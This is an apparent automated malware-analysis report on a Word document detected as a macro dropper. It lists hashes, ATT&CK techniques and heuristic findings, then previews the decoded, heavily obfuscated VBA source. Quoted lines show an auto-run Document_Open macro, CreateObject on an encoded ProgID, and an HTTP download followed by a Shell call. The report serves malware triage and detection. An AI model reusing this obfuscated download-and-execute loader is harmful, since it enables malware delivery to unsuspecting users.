Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0bbe891bde83f8a3…

MALICIOUS

Office (OLE)

1015.5 KB Created: 2018-07-11 23:42:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: b63a98f1a0ab2911971badb89953bc1d SHA-1: 2600fa8c077684843739056032a97fdc794e3be9 SHA-256: 0bbe891bde83f8a3f7520b4fdb07cbbad5672eece7171d34df44f0022c3bbc57
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Heuristics indicate the macros are designed to download and execute a file from the internet using CreateObject and Shell calls. The presence of a Document_Open macro and the ClamAV detection further support a malicious dropper classification.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (qDuFui), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        VKLVJCt = IvAYdwj.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set IvAYdwj = CreateObject("" & "" & FHTFi("M?iLclrgoKsKoTfqt@.YXOMVL^HnTYT!Pn") & "" & "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set IvAYdwj = CreateObject("" & "" & FHTFi("M?iLclrgoKsKoTfqt@.YXOMVL^HnTYT!Pn") & "" & "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://www.iec.chReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 210279 bytes
SHA-256: 509271ee9b04411e977a623b74050acfc59147a9c07ff3e06cf59a2cd658e58f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
2075 of 3102 identifiers look randomly generated (e.g. 'sLwxMZOEekXwmGoyLWjvtmbbZMTFTOvJkKJDXsoc') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function YEsdVQ(FtBDbbL As String, hODANKv As Boolean, cOpxjGc As Double, VsmxpQJ As Double, mrQlZJ As Boolean) As String
    siovYpPz = LTrim("pHC*LZbs*jRtkKCnJ")
    siovYpPz = Right("Q])ovwJlrtSiRBToou", 2)
    For HSDAcn = 0 To 9
        FXZpz = "eW?KCDNOpB!#Rv_" + "bXq(sEuAB&DnF_NNx" + "Pu#[ptaIPngUJJ"
        TglFcp = "a?MEQiKWVjuhdjaOy" + "Ps]ffBs*vHuWGGxn" + "uJjdl!m(_(IQRwn.f(]"
        zWwblz = Space(18)
        TglFcp = StrReverse(" .Tumb#D$KVBS")
        WyPHzA = UCase("ZC&dOR%_ [wKyBKQnrC)")
        siovYpPz = RTrim("yCJ$(yYPLuu%^&uSBbG")
        WyPHzA = 1708 + 706 + 1210
        AIuGjLXT = LTrim("OCNubM^Xrqen")
        siovYpPz = LTrim("_nj@kUxDKYwGNv#LKdY")
    Next HSDAcn

    qCRlEDcV = 986 - 1654 - 1242
    ULpDDAs = StrReverse("Ag&B k[KSOmyjtptG")
    CNJvG = UCase("xY*w-owNbDse*s%Xu")
    yoBCOyNLGTta = 1630 + 1865 + 1186
    WyPHzA = Space(7)
    AIuGjLXT = Left("apnm [C RLH#h", 5)
    For MYtQFx = 0 To 10
        AIuGjLXT = ".cECP!$KN_Zm?z)@LpU" + "?YrAmWjD)*aQG*o@L? ." + "zBUk_vuAb!f*(t#.Kv"
        CNJvG = Space(7)
        siovYpPz = "NMSVlgMwNu" + "!MbdbNj@Zu%-js" + "jvgttcgo[hhhV"
    Next MYtQFx

    yoBCOyNLGTta = StrReverse("x-_bG*J!Jai")
    ULpDDAs = LTrim("OsV][)M)!VMT(VyvF?N*")
    siovYpPz = UCase("uXvvcQ?OR.U")
    siovYpPz = UCase("NP?@lFpZKfM")
    WyPHzA = Right(" Elyiqc]JTsu$qKk", 3)
    ULpDDAs = RTrim("iW)DUvb.LZnHbS*Yp% Q")
    WyPHzA = 359 + 831 + 841
    qCRlEDcV = RTrim("zX@x%PjkG!vKwi%")
    For LoDSvs = 0 To 1
        For rrQmGf = 0 To 8
            zWwblz = Space(8)
            qCRlEDcV = RTrim("*vTUQ]nKaqgQotRBg$S")
            TglFcp = UCase("NsfmyWy-YyNLz$HE&Ut")
            CNJvG = 1848 - 691 - 1129
            CNJvG = RTrim("KP]jCFA(qSDB?")
            zWwblz = StrReverse("C(Lili(YfX?vUmDxTs#")
            ULpDDAs = Left("F^QmRRILwbnqJh", 3)
        Next rrQmGf

        qCRlEDcV = Left("k_JIBJpTBNW", 5)
        qCRlEDcV = LTrim("rphn[oxKdop")
        ULpDDAs = "OY$MlY$oda" + "jmfxLBwQwfK" + "whjIlttL[UawGvU-!Jjo"
        FXZpz = 1275 + 1146 + 1981
    Next LoDSvs

    FXZpz = LTrim("@%bXcwI%sCRMOBTAzZjo")
    FXZpz = Space(7)
    FXZpz = StrReverse("wi^LTJQ_.hhuxjT*T")
    AIuGjLXT = RTrim("QVm&xzjxfVq@cmMCuXLm")
    While hoNRRx < 2
        ULpDDAs = "@GC.?* sSQp!" + "A#[VguT%c@r-gt i" + "_ LiTMINQQn"
        CNJvG = Space(16)
        CNJvG = RTrim("Ez%S!B$tkPDW F@NfoN")
        WyPHzA = RTrim("q!uOw-XzDT")
        CNJvG = Space(2)
        CNJvG = 1182 - 1576 - 1836
        siovYpPz = RTrim("K-nm.qWtipsvw")
        siovYpPz = 774 - 1129 - 1533
        WyPHzA = StrReverse("*hhlWOaX]MWiLdJb_?")
        siovYpPz = Left("Yvz^*K%*B^qnpZ%[RZ", 3)
        hoNRRx = hoNRRx + 3
    Wend

    siovYpPz = StrReverse("V?c[%ER@Nsbdda(fqh")
    ULpDDAs = StrReverse("IoT^Fd&.QPOKag$rKB")
    AIuGjLXT = Left("vjzfRj w-.xMbACjL", 3)
    While KirSnV < 4
        For fgvLbg = 0 To 9
            CNJvG = 1408 - 467 - 595
            AIuGjLXT = UCase("M-ysTKB&Q^hkrwnSh[")
            FXZpz = RTrim("hZLX))pnxQ l^Lh")
            qCRlEDcV = StrReverse("Bjt?$mfTkBIt")
            TglFcp = Space(5)
            qCRlEDcV = ")IR&%%@oM[C?-@]Th" + "BRB-ysKXLcYd^)Z$pqn " + "*VtK[]$_%K[Mx!u"
        Next fgvLbg

        ULpDDAs = 1547 + 1557 + 565
        ULpDDAs = RTrim("Ia)XKH[xn.K")
        KirSnV = KirSnV + 2
    Wend

    ULpDDAs = StrReverse("Q&(elqiShIGP&.Z[LY")
    CNJvG = Space(15)
    yoBCOyNLGTta = Left("jfhvXcs)?QD(YrXoLc", 5)
    yoBCOyNLGTta = UCase("I@ygNPQVf) aME*")
    YEsdVQ = "MVvEzYyJKziZdKmRCNKKNyTsSzsrGPMC"
End Function

Private Function LYDmCn(gHjxZm As Double, UHTHwP As Integer, JDhwKR As Boolean, XNfGKXM As Double) As String
    zWwblz = RTrim("C_PIHjoIsv")
    AIuGjLXT = Right("JFkopFOi O^M", 2)
    TglFcp = "fNVKh.eGWxOFM" + "Dct*M)zeAz[fhvP^j" + "*JP)VkJO#)$rt"
    TglFcp = Left("-!zZQQ*vVYukUvu^VvTT", 2)
    zWwblz = Right("rLNfttZMfbG*OHj^wPex", 2)
    yoBCOyNLGTta = LTrim("dyXd@-vYzlWRilkZLrn")
    For QnQzfK = 0 To 2
        For XSizhA = 0 To 7
            qCRlEDcV = RTrim("ikoZ]MpgBa")
            yoBCOyNLGTta = StrReverse("hc@NErB[SArvs")
            yoBCOyNLGTta = 1179 - 1416 - 889
            ULpDDAs = "eoo&Szi(uUMYI)ETN-Jb" + "VDddm$zPN-(cul!" + "MlFY%Xpkyfn_hP?^@"
        Next XSizhA

        zWwblz = StrReverse("v$$hxrNr^cNH")
        yoBCOyNLGTta = 665 + 1244 + 751
        qCRlEDcV = Right("fSXP$h!#TSZxcZE!(ATd", 3)
        zWwblz = Space(12)
        CNJvG = StrReverse("fHzxRRqXV[JRV.A*E")
        WyPHzA = Space(6)
        AIuGjLXT = "K .EKW?Xvh[cr]%" + "aMkhU RCWX#?mu*L^" + "N nW$p.&Neuv"
        qCRlEDcV = Right("AfP$XfNbBtrJL[Mst-_&", 2)
        qCRlEDcV = RTrim("c_]oJw@h.lI%hv-")
        WyPHzA = UCase("TSTuOH[xy*rXW!?S")
    Next QnQzfK

    zWwblz = StrReverse("Kmlc.?xQeLqFWi*YDj@k")
    For YROSkK = 0 To 9
        WyPHzA = 1871 - 1769 - 1672
        TglFcp = Right("YMgUv![pwy c", 3)
        TglFcp = StrReverse("*sHsAztiuzJ")
        ULpDDAs = UCase("&$MVJ$.-nT%K*B.]")
        FXZpz = "xCeckhgefsNGVs z" + "w)TClcKsxmnC$w&" + "u$!%Ayls*WWJ"
        qCRlEDcV = 868 + 1332 + 784
        qCRlEDcV = Left("e@oD$q&^(_QBFI", 5)
        WyPHzA = UCase("?ViWYWci$BuoWKk")
    Next YROSkK

    CNJvG = "fd$Lw-TBhW[yO-" + "tVKotZMlDiuheJaGny" + "a.Mr Qi_h$_eo!Gdhnq$"
    AIuGjLXT = Right("(ckRRhQNr(ne)gmU", 2)
    AIuGjLXT = RTrim(".!YjnDva(Z")
    FXZpz = "p?&TLx^q?ZP-u]Bwj^" + ")ww-EBbmOpv^oAj(Bus" + "xVi@f?tD_*KuiV(#xile"
    CNJvG = Right("BYacbClWYBk", 5)
    yoBCOyNLGTta = 296 - 152 - 1603
    AIuGjLXT = UCase("DUPQOkGBvVu^")
    TglFcp = Space(13)
    siovYpPz = UCase("@wTQRjE[R]!Fe")
    yoBCOyNLGTta = 1649 + 302 + 1970
    TglFcp = RTrim("RVI#T?IeHP?su")
    yoBCOyNLGTta = RTrim("Q)oi!^u_f&[B_).")
    CNJvG = 263 - 542 - 795
    CNJvG = Left("Hyg*L%()NBviHB#AQs", 2)
    For GREzRF = 0 To 5
        For ofSBBZ = 0 To 8
            CNJvG = StrReverse("Ywd%YUHCTryK@goYX")
            zWwblz = RTrim("ZP%]Gu-hdTmaR")
            FXZpz = Right("pOT?e$zpPmNz_a", 2)
            AIuGjLXT = Right(")giy-%%^?WQ_q", 4)
            WyPHzA = Right("OjbLrmtsq-@g]tp", 5)
            qCRlEDcV = LTrim("qf%ocITTnNzK")
            yoBCOyNLGTta = Space(8)
            AIuGjLXT = 840 + 971 + 913
            yoBCOyNLGTta = 462 + 866 + 1743
        Next ofSBBZ

        qCRlEDcV = StrReverse("kpPEjAdpzLp !Z")
        CNJvG = "hjC]v!YdCbF)[v" + "VjLItJR@QBZDlnrgto" + " Pgv#RhH&xx%sz[XgXXF"
        ULpDDAs = Left("IpszPJRex_mRS?", 3)
        siovYpPz = UCase("omeNBF(Alc@iGyWHFid")
    Next GREzRF

    AIuGjLXT = LTrim("ymoR%cZ_T)_")
    yoBCOyNLGTta = StrReverse("GrZwaRtHyGV!t&")
    While oShCJF < 4
        siovYpPz = 1406 + 1950 + 461
        ULpDDAs = 1786 - 1735 - 1845
        TglFcp = Left("!n!DeBEbz**YDiQztNY", 2)
        ULpDDAs = 1083 - 959 - 1761
        oShCJF = oShCJF + 2
    Wend

    siovYpPz = 1158 + 927 + 1659
    FXZpz = 1609 + 880 + 1882
    zWwblz = Left("ZEr(o[QX.P!hEgkEKn]", 3)
    LYDmCn = "POYuPwevBAFIJTYoYMrqMrnOGTDJCG"
End Function

Private Function mUwtWe(WNmsrl As Double, FUTFpDg As String, KVvtShe As Double) As String
    zWwblz = 1396 + 712 + 647
    TglFcp = LTrim("VqZ.@n.YnbiWtwLXWNKu")
    FXZpz = LTrim("zUFh#V!^#bFnrHOkF")
    FXZpz = StrReverse("RXi^P)bAW[n)upX")
    AIuGjLXT = RTrim("zq-ALxjWhoKApHW")
    qCRlEDcV = Right("qZhMAyCcWCY", 3)
    yoBCOyNLGTta = "S%&f(S$asSRx" + "V[h#hfE-kX$AypmAid" + "jxFnX)t[pCeYC"
    WyPHzA = 866 - 1845 - 1433
    WyPHzA = LTrim("x$sLvwfylxW-xvRX")
    AIuGjLXT = LTrim("XyotNrIzRtk.(Y$ray)k")
    ULpDDAs = "k(B&b%hk! ?[c" + "yuUF[!NOYJ?f" + "Dyj^xzq[[K!tD$"
    FXZpz = "S IHH.IO[L?Huhsl$" + "doZigQpAUle" + "Zdux]Zw@i%HQe^u&IKF!"
    TglFcp = "b?fz%H.)TM." + "wJLwfgCPZndK(oy" + ")B(!yp[bVE^ktSQ%"
    ULpDDAs = 163 - 425 - 182
    FXZpz = Space(3)
    CNJvG = UCase("K YHXYidpT&^iRxY")
    ULpDDAs = "BIQ)plOR)^k" + "OyL&t[q]&((BIwfP?" + "t^KvCTzFGdWSTTCmANF"
    TglFcp = Right("D^@-xvzjvMh", 5)
    WyPHzA = "VO#(ZI-]_e@oU_uUfoM" + "?(RUo[wmQBvr^ ^q._W" + "^?%wCrYQOOKe_htpi "
    TglFcp = 1949 + 194 + 235
    mUwtWe = "GozakhQLdJLlOqIvRQvO"
End Function

Private Function uvYprt(psnHbvp As Double, RXbadw As Double) As String
    For cjsKNq = 0 To 9
        ULpDDAs = Right("mfVjpT)R?&)DI", 2)
        TglFcp = 1149 + 938 + 1120
        CNJvG = RTrim(".yrY!_pPCuxL%")
    Next cjsKNq

    WyPHzA = Right("CKve-HEE*(GYVAbwQeh*", 2)
    ULpDDAs = Right("Mpk)szT^ROZ", 3)
    yoBCOyNLGTta = LTrim("hd)OuYybZVW")
    While BldqiE < 1
        For nZvmRJ = 0 To 10
            AIuGjLXT = "NNZRH$XwT(m$vYq" + "_es BskTI%*" + "bhYI!?Wd!C"
            ULpDDAs = "lTgmXblD*!s^(F_" + "!N%N(_Hvsk)[jdC!E_Uw" + "?xYu!zr$ND"
            zWwblz = LTrim("hdwUSazdLghYC^nAXRGJ")
            FXZpz = Space(2)
            yoBCOyNLGTta = UCase("%??L!EFHn AIAcr")
            yoBCOyNLGTta = Space(4)
            yoBCOyNLGTta = StrReverse("PSxl_a$Vo(Be")
            qCRlEDcV = "L EtVMhWMPf" + "vaYuyxYdjH" + "yl@bKEzhx.L"
        Next nZvmRJ

        CNJvG = UCase("g EEHzqKDNHq[XD]$BG")
        WyPHzA = 669 + 1301 + 120
        siovYpPz = Left("jYRmYW(r?Usl", 4)
        BldqiE = BldqiE + 2
    Wend

    yoBCOyNLGTta = 788 + 1530 + 1831
    zWwblz = Left("ZnZG[hb)(pfHyBz", 3)
    ULpDDAs = RTrim("F#NZrRY$PiCfmKijC")
    zWwblz = UCase("apiXPCH$]KN[Q")
    WyPHzA = LTrim("Q.ccLN#qjtMx")
    qCRlEDcV = StrReverse("o?-r-KpZzlG!")
    ULpDDAs = Left("Zv.C!HWEK(", 2)
    AIuGjLXT = "JkJwiRckfa(vgy" + "K&J@Gw#GLD$#Vt]Qgyu" + "v&HCWUoaWev_?"
    siovYpPz = StrReverse("VYftwhy@LVIYnRRNf")
    zWwblz = LTrim("^.M^PpqXlSg&a*tV")
    WyPHzA = "dU-dRp@oAsQzLQBWt% " + "[UNJ-eeUCVAQOG_dvz)z" + "oQOV?$]bcmNmYB?p]ECL"
    ULpDDAs = UCase("*-$]r^vYxKx*")
    CNJvG = 431 - 1121 - 1066
    zWwblz = "nRc_m$C%oB_oIJ_u" + "qhVft_-fiCEHZ" + "zV%rxcHsVKe"
    siovYpPz = Right("@SJh!t&*Tmlm.h", 2)
    zWwblz = "z*zaWkQeop" + "xMxU)O-Oz(gAfEv" + "?SZodO--sY"
    AIuGjLXT = 1178 + 927 + 1809
    yoBCOyNLGTta = LTrim("RQ[g-]irYWKzUL")
    FXZpz = 1883 + 953 + 385
    AIuGjLXT = 1178 + 126 + 1162
    FXZpz = Right("sOexEmoCmC!#)@FUw", 5)
    ULpDDAs = Space(14)
    FXZpz = Right("YhAEoGAWWdB*", 4)
    siovYpPz = RTrim("RU-Xij-%f[NBh.")
    ULpDDAs = StrReverse("!%wSmv#XS[QU")
    ULpDDAs = UCase("Rc[d*GYsMz")
    ULpDDAs = 1606 - 1304 - 1388
    For wfsnPP = 0 To 7
        ULpDDAs = UCase("aJNM&gYQCEGpb")
        FXZpz = Left("oV-[fQaDwS@c", 5)
        ULpDDAs = LTrim("IXuLB%J mRMrwy")
        FXZpz = "YryFLQk.fp.WTy*NN]" + "ytmn^dAQOBs]]FZ?$Ll" + "Ba^RvSVgXHYMCo"
        CNJvG = LTrim("yPOTc__UrZJHQM")
    Next wfsnPP

    uvYprt = "IBTwSnTaooeouediqngJFJmFaukdhKYbS"
End Function

Private Sub rXSxgjw(ipcPJ As String, CjjgqE As String, dZkGaiy As String, VpXRHga As String, RfaFPsz As String, pNpUBo As String, QoqFJI As String)
    zWwblz = UCase("&SJCgw%kRnH")
    While GUQBWq < 5
        While xkimBB < 4
            ULpDDAs = UCase("Wdiazc #VZ")
            siovYpPz = StrReverse("n!BA)vnhiCBd")
            WyPHzA = RTrim("FZZDckdQu?")
            ULpDDAs = Right("WT^I^[wd %E$RGRyu ", 5)
            siovYpPz = "wkXyAvuUqA_fLdjhHVe" + "yXUdZmqwruiL_rRLRX@" + "uSFnaZ[VOW$^$f.F w"
            WyPHzA = "tFIbzaYqONqAG" + "O@.)AKbgwCf[I" + "@$lZPLf (GCsa"
            TglFcp = Space(8)
            ULpDDAs = Right("wF#I)poIFPBeMB", 2)
            qCRlEDcV = LTrim("?yz@dt)_%dIvK#Ik")
            xkimBB = xkimBB + 1
        Wend

        zWwblz = StrReverse("*Fz*W!_w[fOdpTtInN")
        WyPHzA = UCase("VhSLHtWzjPPc H]^r#Mj")
        GUQBWq = GUQBWq + 2
    Wend

    zWwblz = "uoc_k&*Ncte&)#b?Rs" + "Dag*vfrY#HXYUwAC" + "mdgHVi.VTuW"
    CNJvG = 1805 - 616 - 594
    TglFcp = UCase("J%x#HokAuYPK]q) [")
    TglFcp = LTrim("StSLGCsvZNXXvx*-b_o_")
    TglFcp = Space(1)
    For JWVFgE = 0 To 3
        For LcYZFh = 0 To 9
            yoBCOyNLGTta = Right("]cxXMLw)[zmJq]LB- fW", 2)
            WyPHzA = Left("!R%n@Ggao@X", 2)
            AIuGjLXT = Space(8)
            CNJvG = "J?asAnmN^FVFTa@" + "-S-_acKH!D" + "g RT#DC(]DvNupVZ"
        Next LcYZFh

        qCRlEDcV = 1809 + 1163 + 1479
        FXZpz = Left("%uE&o$Gde#Icd BupxGI", 4)
        qCRlEDcV = Space(3)
        qCRlEDcV = RTrim("R&mfdwtTl(UfYcda[.B")
    Next JWVFgE

    WyPHzA = UCase("xdIkatUZzoV(bO*Hc")
    While VDhWLQ < 2
        FXZpz = LTrim("lfxSA YY^T@")
        zWwblz = Right("Sbf-$FfnrAf", 4)
        TglFcp = Left("*%%Tq#r[qT", 2)
        AIuGjLXT = Right("ziQQ XP*@w", 3)
        CNJvG = Right(" ]-P! )bP)T", 3)
        zWwblz = 1904 + 683 + 1628
        siovYpPz = Left("GUKo-uvk*cjoRm!IoA", 5)
        CNJvG = Space(10)
        VDhWLQ = VDhWLQ + 1
    Wend

    FXZpz = UCase("U%X@M)mhhjp*($B")
    qCRlEDcV = UCase("oCtx qHrNE")
    AIuGjLXT = Right("VzxWWXkInHb", 2)
    FXZpz = "FoqOBIPZ(YHYw-" + "[Qt(UdZjuocGvQ&iAo" + "_bjQTzeNRR"
    zWwblz = "yhk%dTiYYX@^" + "*qzzlaDIsujH]wB^#" + "LRjXSasSfgeVP(dVY"
    TglFcp = 1350 - 1818 - 1522
    yoBCOyNLGTta = LTrim("GJ^dTmMsM-ctMGq")
    FXZpz = Space(7)
    TglFcp = 354 - 634 - 1568
    zWwblz = Left("BAmNhKn(SGinjw@^Wd", 3)
    Dim IvAYdwj As Object
    siovYpPz = Space(12)
    ULpDDAs = "xn *wRbvhPmm?(xx" + "RdvngPDU]#Vdq%zZkFac" + "yhX_tSDuaIrQYmArXY"
    ULpDDAs = Space(10)
    AIuGjLXT = StrReverse("SDwPYoVlR%kr")
    WyPHzA = StrReverse("z(DQeaQ!Kqs*slcYG")
    ULpDDAs = Right("w*Ktb$m.wejdK?U)h", 5)
    ULpDDAs = Right("N*!gc^!reW*oeny^", 5)
    zWwblz = 197 + 1183 + 822
    WyPHzA = 953 - 1383 - 1744
    yoBCOyNLGTta = "B%[cOQxtqaqcrw[S" + "SO)!-ZWFD)fBC" + ".&zX(&)TqOJico%N^Q_"
    FXZpz = LTrim("gQpwQNbgyyn.LxugyCo")
    WyPHzA = Left("-hhIAiba@C", 4)
    zWwblz = UCase("dDwJwRLT$.j%")
    zWwblz = 1087 + 948 + 1606
    yoBCOyNLGTta = StrReverse("HZ!y?etxka[EsweAa")
    ULpDDAs = 1738 + 1443 + 1117
    siovYpPz = Right("m xhtJ@ywH", 2)
    For rUIvIz = 0 To 5
        For NkvWxx = 0 To 7
            TglFcp = Space(2)
            FXZpz = Left(")LasaYxXui)%V", 5)
        Next NkvWxx

        siovYpPz = Right("dQnk?EhqzOmxON@In", 2)
        yoBCOyNLGTta = LTrim("jHaP!GUIzp")
        yoBCOyNLGTta = 690 + 803 + 1470
        CNJvG = 1137 - 1177 - 356
        yoBCOyNLGTta = StrReverse("c?TQYlxvu^sG ")
        CNJvG = Left("ZlDkSPIhj$nn@VAZrj", 2)
    Next rUIvIz

    TglFcp = LTrim("oq)?IjBA?E zjQQ")
    ULpDDAs = UCase("L_(OPErwsADtJJ.CP((Y")
    WyPHzA = StrReverse("NF^oyig]wgcz!J")
    zWwblz = 415 - 450 - 1655
    For RBxckG = 0 To 10
        zWwblz = Right("taQlBog%.ItZC!uiR]", 2)
        AIuGjLXT = 1025 + 1716 + 1356
        AIuGjLXT = StrReverse("qRqC..R%hqyVh")
        FXZpz = UCase("ZlXAGZZDHV&l&gPn%K")
        ULpDDAs = RTrim("Zi*^f IYtGxzFxAD")
        ULpDDAs = 184 - 1627 - 1296
        yoBCOyNLGTta = Left("l]!Mgx.&^#iWcC$x", 3)
        yoBCOyNLGTta = RTrim("uhSIn%DEnL&")
        FXZpz = 231 + 1432 + 1199
        TglFcp = RTrim("tdlC[[X!wmIIloC")
    Next RBxckG

    For MmlPNF = 0 To 5
        While uKOuEg < 5
            yoBCOyNLGTta = LTrim("piBNUThjRcu-ucsmta!")
            AIuGjLXT = LTrim("N[vwJNy.MF!C!X@q$ym")
            uKOuEg = uKOuEg + 3
        Wend

        FXZpz = 1120 - 1281 - 1863
        FXZpz = StrReverse("OUQ^Huk.eLOW] zAEJ")
        AIuGjLXT = StrReverse("k.rSH-TatPSuVNzL@")
        yoBCOyNLGTta = "lg)k@SuLp@)FLtQUctq" + "dh$)yAV !s" + "QTCsg$#yt)EoZK"
        WyPHzA = LTrim("@zloqS[BId.")
        AIuGjLXT = StrReverse("]_xgXD#oSW[fft")
        siovYpPz = 487 - 300 - 1383
    Next MmlPNF

    CNJvG = LTrim("VZ]_xOMpCJ_")
    WyPHzA = StrReverse("i*Ea)qlud]")
    yoBCOyNLGTta = Right("gM@_ZUWeUeg", 2)
    AIuGjLXT = Space(11)
    TglFcp = Left("Dg#UFS#IkX-esY(Ydy", 2)
    zWwblz = LTrim("^@xF_yQ#FhX)B?")
    AIuGjLXT = 677 + 115 + 1259
    ULpDDAs = UCase("$jqloucK^ z^ UKU")
    zWwblz = 481 + 314 + 574
    WyPHzA = "Sl[LkfDvsyG" + "HpiGEupghgnWfmtiMM" + "Ol?pe?h^ ^uSy)QE$"
    CNJvG = 530 - 1568 - 1002
    WyPHzA = "$(ZiEBTf[wQ" + "#]*ljst[jPzCKaRTVWAV" + "E]X#jW*[@Xatyf[Q"
    Dim HBJFG As Object
    AIuGjLXT = 669 - 1041 - 913
    CNJvG = LTrim("*jCE)_Hn.lQ")
    WyPHzA = UCase("xi&o^_YikP")
    TglFcp = StrReverse("IRC%PjQPCfquhCQW")
    WyPHzA = UCase("-fzGx(%C)cYx]Jb")
    AIuGjLXT = "ZNGI?gYE?R@txPg-.V" + "z!-fi(rM.s[s%J%" + "_zjKkO$wk!h"
    ULpDDAs = StrReverse("MmKXtc&tRI")
    yoBCOyNLGTta = UCase("onw so[wPkJpFFnS")
    WyPHzA = Right("ztRBWk&[ffNkWvdT?@V", 4)
    FXZpz = StrReverse("vVBh)B!DCW(lECMI]F")
    While niPkUA < 1
        While bPfozC < 5
            qCRlEDcV = Right("&[kX.-i$$M", 3)
            zWwblz = UCase("uV]ZwPxsAq]YtwJ?")
            CNJvG = Space(16)
            TglFcp = RTrim("IiJCRAAS]c")
            bPfozC = bPfozC + 1
        Wend

        CNJvG = RTrim("jp(kRdn&OnA")
        CNJvG = RTrim("hboJ*OG.&Q))txylGdl")
        CNJvG = LTrim("XCTyvxmW@ZKvic.j]")
        AIuGjLXT = "PsnsbI&Puorm.saD" + "sC*PIG&_JEcLuCF" + "[o]mKNafwuIkpV"
        qCRlEDcV = Left("FLR]EfkFsjtwdJR", 4)
        CNJvG = LTrim("kJQBLh[r_l@nsZyj")
        niPkUA = niPkUA + 1
    Wend

    While JNFEwk < 5
        For gTkGBk = 0 To 9
            CNJvG = Right("TZMELw#D#W", 4)
            CNJvG = RTrim("^&Etzbi.yvyPBCDmj ")
            FXZpz = Space(1)
            zWwblz = 744 + 1374 + 585
        Next gTkGBk

        zWwblz = 1551 + 1487 + 1622
        yoBCOyNLGTta = "cQXdcyW.*LQ)TbiBWOo" + "tyw tpg_#]@b" + "Eppym Rr wcbU"
        FXZpz = StrReverse("Lb bT%Yk)V%-EGf$iviV")
        WyPHzA = RTrim("*?I(ppiw_vy")
        qCRlEDcV = Space(1)
        WyPHzA = Space(15)
        TglFcp = UCase("Yj_sSqpXa_vY)")
        TglFcp = UCase("(JAfkTdpCy")
        FXZpz = StrReverse("&-fVo(dtgzFRIo")
        JNFEwk = JNFEwk + 1
    Wend

    qCRlEDcV = Right("yG%J[*ixkLJN E&N)", 4)
    AIuGjLXT = RTrim("B(S#%@zrD[")
    TglFcp = RTrim("dFm@CrsEfkjMJiI%eKn")
    AIuGjLXT = Right("woLgTjP_$s(VEj.", 4)
    For uhgArQ = 0 To 2
        For opDbUN = 0 To 9
            qCRlEDcV = 605 + 1760 + 1208
            AIuGjLXT = UCase("XswYn?GGmcu&e")
        Next opDbUN

        siovYpPz = Right("zEUTNvGzyrUz#", 2)
        CNJvG = Space(10)
        AIuGjLXT = 1305 - 273 - 976
        qCRlEDcV = RTrim("vLFFz&-ucp")
        AIuGjLXT = 824 - 1038 - 238
        zWwblz = 1330 - 1283 - 1547
        ULpDDAs = Right("uMPCqmE^WVgNsvGm_", 2)
        siovYpPz = LTrim("B!)A#rD*(INYUs[EW_z")
        ULpDDAs = UCase("-M.#y*Sahh)C-?ozSl_M")
    Next uhgArQ

    For vOTIQn = 0 To 7
        TglFcp = "loOWY_yMpHX!zLA" + "#je)Yl@N*csxBZ%lEF" + "ll^NS)&[!#"
        CNJvG = StrReverse("yNgvjjl!eYX")
        FXZpz = Right("eCsz_Gf?Q@kIo)", 3)
        zWwblz = StrReverse("XLd.rvY*xNJR")
        CNJvG = LTrim("SXa#U-!j R^(JdXAkkE")
        zWwblz = LTrim("vLyzoC@n&FZK?[g^")
        FXZpz = RTrim("Uk?rHG*cp ")
        ULpDDAs = StrReverse("fFtSKNHiSD Bkrxez")
    Next vOTIQn

    qCRlEDcV = UCase(" Hq]E[dm*^ZE?Ftzk")
    zWwblz = LTrim("wP&TV@Gda%kcMU&B")
    yoBCOyNLGTta = StrReverse("&MzCtZZcGy_bo@qdzM")
    zWwblz = Left("mcntZYx(&uklFw", 2)
